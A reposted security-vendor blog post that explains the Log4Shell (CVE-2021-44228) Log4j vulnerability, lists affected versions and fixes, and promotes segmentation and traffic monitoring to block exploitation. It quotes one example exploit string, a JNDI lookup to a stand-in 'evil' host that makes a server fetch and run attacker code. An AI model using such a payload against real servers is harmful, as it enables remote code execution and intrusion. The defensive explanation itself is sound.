Log4Shell Vulnerability: Visibility and Prevention

This blog post was originally created by Illumio.

Read the original blog here.

Do you use Java? Do you use popular application tools or frameworks written in Java, such as Apache Struts? If so, then you may be vulnerable to a new vulnerability named Log4Shell. And even if you don’t use these frameworks directly, there may be an application in your environment that does.

Known formally as CVE-2021-44228, Log4Shell is a remote code exploit, among the most severe types of software vulnerabilities. An attacker can compromise a vulnerable system using nothing more than a text field. And these systems could be secured deep in the internal network, with no direct access from the Internet.

What is Log4Shell?

Log4Shell was first reported on December 9, 2021. The vulnerable software is a Java component called Log4j. Log4j is nearly ubiquitous in Java applications, and it’s used for logging application activity. For example, when you visit a website, place an order, or open a support request, any of these actions might result in an application server recording a log of your activity.

Log messages are usually short snippets of text. If you attempt to log in to a website with an incorrect password, the server might log a message saying “User jsmith login failed.” The trouble starts when the user enters something more complicated than “jsmith” as their username.

How Is the Vulnerability Triggered?

It’s common for user input to be recorded directly in log messages, like with the “jsmith” example. In most cases, the entry supplied by the user is stored directly in the logs. An attacker can make the username as long or as complicated as they wish, and the activity log will simply have an exact copy of their entry.

However, the popular Log4j library has a feature that does something more. Beginning in version 2.0-beta9 (released in 2013), Log4j supports external lookups in log messages. This feature was originally meant as a convenience for developers to make their activity logs more useful. The problem is that the lookup feature, which is enabled by default, can also be triggered by a malicious user with a very simple message.

Going back to “jsmith:” let’s say a user attempts to log in to your website with the username “${jndi:ldap://some.evil.site/attack}.” The web server dutifully records a message in the activity log: “User ${jndi:ldap://some.evil.site/attack} login failed.” This is handled by Log4j on the server and should result in a simple message written to a log file.

But instead, Log4j recognizes this as a request for an external lookup. Log4j helpfully makes a request to some.evil.site, hoping to retrieve some data and substitute the results into the log message. But instead, the specially prepared server at some.evil.site returns a set of commands which Log4j executes. By simply using a special username on the website form, the attacker now has the ability to run arbitrary commands inside the web server.

Am I Vulnerable?

According to the Apache advisory, versions 2.0-beta9 through 2.14.1 have external lookups enabled by default and are therefore vulnerable. Even if your application doesn’t use Log4j directly, many common application tools and frameworks use Log4j internally and may introduce this vulnerability into your stack.

The recommended fix is to upgrade all instances of Log4j to version 2.15.0. If that’s not immediately possible, Apache provides workarounds to mitigate this vulnerability when using earlier versions.

How to Reduce Risk From Log4j With Illumio

Illumio can help with your efforts to mitigate CVE-2021-44228 in three areas:

Identify potentially vulnerable hosts: Addressing the Log4j RCE starts with knowing where you might be impacted. Given how many ways the package can be used, this can be a difficult process, but every bit of data can help. Illumio can monitor traffic to/from each workload, allowing you to surface possibly relevant traffic. For example, if you see syslog traffic to a particular host, you might consider reviewing that system for the presence of Log4j.

Block the second stage of an attack: Exploitation of the log4j RCE requires access to code external to the target system. By blocking outbound Internet traffic, this second stage of the attack becomes much more difficult. Consider applying a default deny policy for vulnerable workloads using the VEN, which can minimize changes to perimeter firewalls. And if blocking traffic is not an option, you can leverage traffic flow summaries from relevant workloads to identify potentially malicious traffic, either directly in the PCE, or through an integration with a SIEM.

It’s also possible to monitor DNS queries for domains associated with exploitation of the Log4j RCE – several such lists are freely available. If you do not have DNS query logging enabled for your environment, traffic flow summaries can include fully-qualified domain names, which can be evaluated against these lists.

Block lateral movement: If an attacker does gain access to your internal network through the Log4j RCE, controlling lateral movement becomes crucial. Consider using allowlist-based policies between critical systems to block the attacker from gaining additional footholds or obtaining sensitive data. Ring-fencing environments can force the attacker to use network paths where you have strong detection mechanisms in place.